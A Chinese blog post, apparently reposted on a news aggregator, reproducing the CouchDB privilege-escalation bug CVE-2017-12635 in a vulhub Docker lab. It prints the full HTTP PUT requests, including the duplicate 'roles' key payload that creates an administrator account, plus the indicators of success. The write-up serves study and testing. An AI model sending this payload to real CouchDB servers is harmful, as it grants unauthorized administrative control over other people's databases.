当前位置: 首页 > news >正文

Apache CouchDB 垂直权限绕过漏洞 CVE-2017-12635 已亲自复现

Apache CouchDB 垂直权限绕过漏洞 CVE-2017-12635 已亲自复现

  • 漏洞名称
    • 影响版本
    • 影响版本
  • 漏洞复现
    • 环境搭建
    • 漏洞利用
  • 总结

漏洞名称

影响版本

Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”。它是一个使用JSON作为数据存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

影响版本

Apache CouchDB 1.7.0 / 2.x < 2.1.1

漏洞复现

环境搭建

vulhub链接

https://vulhub.org//#/environments/couchdb/CVE-2017-12635/

启动vulhub

docker-compose up -d 

在这里插入图片描述

环境启动后,访问http://192.168.63.129:5984/_utils/即可看到一个web页面,说明Couchdb已成功启动。
在这里插入图片描述

漏洞利用

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90{"type": "user","name": "vulhub","roles": ["_admin"],"password": "vulhub"
}

返回403错误,提示 {“error”:“forbidden”,“reason”:“Only _admin may set roles”},只有管理员才能设置Role角色
在这里插入图片描述

这个时候,我们利用 Erlang和JavaScript 处理 JSON 的特性,发送包含两个roles的数据包,即可绕过限制:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108{"type": "user","name": "vulhub","roles": ["_admin"],"roles": [],"password": "vulhub"
}

在这里插入图片描述

验证是否成功

在这里插入图片描述

且在创建一个成功后,再重复发包,也会报错409,修改已创建的密码也不行
在这里插入图片描述

总结

在JavaScript在解析时会把"roles": [“_admin”],“roles”: [],解析为"roles": []用来检测创建角色的权限,其值为空,使用PUT方法上传时服务器时检测权限为空,即可绕过安全限制,并通过使用Erlang部分实现身份验证和授权,通过getter函数返回第一个值为:“roles”: [“_admin”],并创建具有管理员的用户wahaha:wahaha。如果攻击成功,在响应头中的状态码为201,且在响应体中返回org.couchdb.user字样,或在响应头中返回409状态码,在响应体中返回Document update conflict字样。

http://www.lryc.cn/news/263663.html

相关文章:

  • 海康威视IP网络对讲广播系统命令执行漏洞(CVE-2023-6895)
  • IDE:DevEco Studio
  • 【QT】C++/Qt使用Qt自带工具windeployqt打包
  • Ubuntu系统的基础操作和使用
  • harmonyOS 自定义组件基础演示讲解
  • 我的创作纪念日——成为创作者第1024天
  • 正点原子驱动开发BUG(一)--SPI无法正常通信
  • SpringBoot接入轻量级分布式日志框架GrayLog
  • 光电器件:感知光与电的桥梁
  • Ceph入门到精通-smartctl 查看硬盘参数
  • Module build failed: TypeError: this.getOptions is not a function
  • 蓝牙电子价签芯片OM6626/OM628超低功耗替代NRF52832
  • ELK(八)—Metricbeat部署
  • Ansible自动化运维以及模块使用
  • 数据分析场景下,企业大模型选型的思路与建议
  • Mongodb复制集架构
  • 云原生之深入解析Kubernetes集群发生网络异常时如何排查
  • error: C2039: “qt_metacast“: 不是 “***“ 的成员
  • 量子计算:开启IT领域的新时代
  • 数据可视化---柱状图
  • 第十七章 爬虫scrapy登录与中间件2
  • 运维知识点-Kubernetes_K8s
  • 某电子文档安全管理系统存在任意用户登录漏洞
  • 音视频参数介绍
  • vue中使用minio上传文件
  • MySQL表的增删改查(初阶)
  • 搜维尔科技:关于“第九届元宇宙数字人设计大赛”线上+线下巡回宣讲本周高校行程通告!
  • Gemini 1.0:Google推出的全新AI模型,改变生成式人工智能领域的游戏规则!
  • excel打开并操作CAD(excel-vba实现)_另附:CAD打开excel
  • Prolist组件实现动态竖排展示